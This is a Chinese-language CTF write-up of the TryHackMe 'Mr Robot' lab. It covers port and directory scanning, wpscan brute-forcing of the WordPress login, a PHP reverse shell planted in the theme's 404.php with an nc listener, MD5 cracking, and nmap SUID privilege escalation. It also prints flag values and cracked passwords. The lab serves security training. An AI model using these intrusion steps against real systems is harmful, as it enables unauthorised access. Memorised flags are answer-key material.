【THM】Mr Robot CTF-Practice

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/mrrobot

端口扫描

1
nmap -sC -sV -Pn  -p- -T4 10.10.192.175

image-20231110150550220

80端口(http)、443端口处于开放状态

22端口(ssh)处于关闭状态

访问80端口

image-20231110142205009

目录扫描

用dirsearch扫一下路径

1
dirsearch 10.10.192.175

可以看到有个robots.txt

访问

image-20231110144209840

访问http://10.10.192.175/key-1-of-3.txt

073403c8a58a1f80d943455fb30724b9

1
gobuster dir -u http://10.10.192.175/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --status-codes 200

image-20231110151137326

image-20231110151243827

爆破WP登录页面

由之前的目录扫描结果可知:目标机使用了WP(WordPress)并且WP的登录页面为-http://10.10.192.175/wp-login.php

访问WP登录页面:

image-20231110151529608

爆破,字典用fsocity.dic

后面换了ip 10.10.159.179

image-20231110174456539

爆出用户名为Elliot

1
wpscan --url http://10.10.159.179/wp-login.php --usernames Elliot --passwords /root/下载/fsocity.dic 

或者可以先将字典内容进行排序并去除重复

1
sort fsocity.dic | uniq > fsocity_sort.dic

image-20231110193248770

得到Elliot用户的登录密码:ER28-0652

用wp很常见的404template漏洞反弹shell

选择查看appearance/editor功能点,然后使用php-reverse-shell.php填充editor页面中的404.php文件内容(注意修改好php脚本中的攻击机ip和端口号,php-reverse-shell.php是一个反向shell脚本)

image-20231110210848364

在本地机器(Kali Linux)上设置一个监听器来接收来自目标机器的传入连接,我们将使用 NetCat (nc)设置监听器。(下面命令中的端口号 要和前面使用的反向shell脚本内容中的端口号对应)

1
2
3
4
5
nc -lvnp 1234
#-l(侦听模式,用于入站连接)
#-v(详细)
#-n(抑制域名/端口解析)直接使用IP地址,而不经过域名服务器
#-p 为远程连接指定本地端口

image-20231110210929620

接下来我们需要加载刚才那个已经修改好的 404.php 文件,为此,我们首先需要找到该文件的位置。

WordPress站点的大多数主题位于 /wp-content/ 目录下,主题相关内容则位于 /wp-content/themes/ 目录下;根据我们之前所修改的php文件所对应的主题名称,可知404.php文件位置在 http://10.10.159.179/wp-content/themes/twentyfifteen/404.php ,打开本地kali机中的浏览器访问 404.php文件即可。

1
2
#使用以下命令使初始shell稳定化
python -c "import pty; pty.spawn('/bin/bash')"

image-20231110211324494

由上图结果可知:robot的登录凭据已被加密处理;我们使用 https://crackstation.net/ 进行在线解密即可:

1
2
3
cat password.raw-md5

robot:c3fcd3d76192e4007dfb496cca67e13b

image-20231110211452810

abcdefghijklmnopqrstuvwxyz

image-20231110211603870

image-20231110211620928

image-20231110211715177

822c73956184f694993bede3eb39f959

提权

继续使用之前的shell界面,输入命令find / -type f -perm -04000 -ls 2>/dev/null以列出目标机中设置了 SUID 位的程序

或者

1
2
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2>/dev/null | xargs ls

image-20231110212051133

image-20231110212059256

我们可以访问 https://gtfobins.github.io/ 并查看nmap程序的提权方法

image-20231110212129916

使用上图所示的方法(要求nmap版本在2.02-5.21之间)进行提权,提权成功之后查看key3文件内容即可:

1
2
nmap --interactive  #目标机的nmap版本为3.81
nmap> !sh

image-20231110212301334